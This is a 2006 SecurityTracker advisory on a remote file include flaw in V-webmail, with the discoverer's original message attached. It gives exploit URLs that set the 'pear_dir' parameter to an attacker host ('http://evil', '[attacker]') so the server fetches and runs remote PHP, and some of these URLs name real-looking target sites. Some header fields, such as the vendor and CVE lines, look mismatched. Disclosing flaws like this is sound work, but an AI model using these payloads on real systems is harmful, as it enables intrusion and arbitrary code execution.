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Category:   Application (E-mail Server)  >   amule.org Vendors:   HITSENSER3
V-webmail Include File Bug in 'pear_dir' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016160
SecurityTracker URL:  http://securitytracker.com/id/1016160
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 25 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.6.4
Description:   Beford reported a vulnerability in V-webmail. A remote user can include and execute arbitrary code on the target system.

Several scripts do not properly validate user-supplied input in the 'pear_dir' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL for versions 1.5 - 1.6.4 is provided:

http://[target]/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://[attacker]

Some demonstration exploit URLs for version 1.3 are provided:

http://[target]/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://[attacker]

http://[target]/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://[attacker]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.v-webmail.org/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Thu, 25 May 2006 15:37:20 -0500
Subject:  V-Webmail 1.6.4 Remote File Include

Script: V-Webmail 1.6.4
Vendor: http://www.v-webmail.org/
Description: V-webmail is a powerful PHP based webmail application with an
abundance of features, including many innovative ideas for web applications
Discovered: beford <xbefordx gmail com>
Vulnerable File

v-webmail/includes/pear/*/*.php => require_once ($CONFIG['pear_dir'] . '*.php');
v-webmail/includes/mailaccess/pop3.php =>
require_once($CONFIG['pear_dir'] . 'Net/POP3.php');

Version 1.3
http://www.site.th/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
http://www.woot.com.kh/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil

Version 1.5  - 1.6.4
http://something.ie/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://evil
 
 


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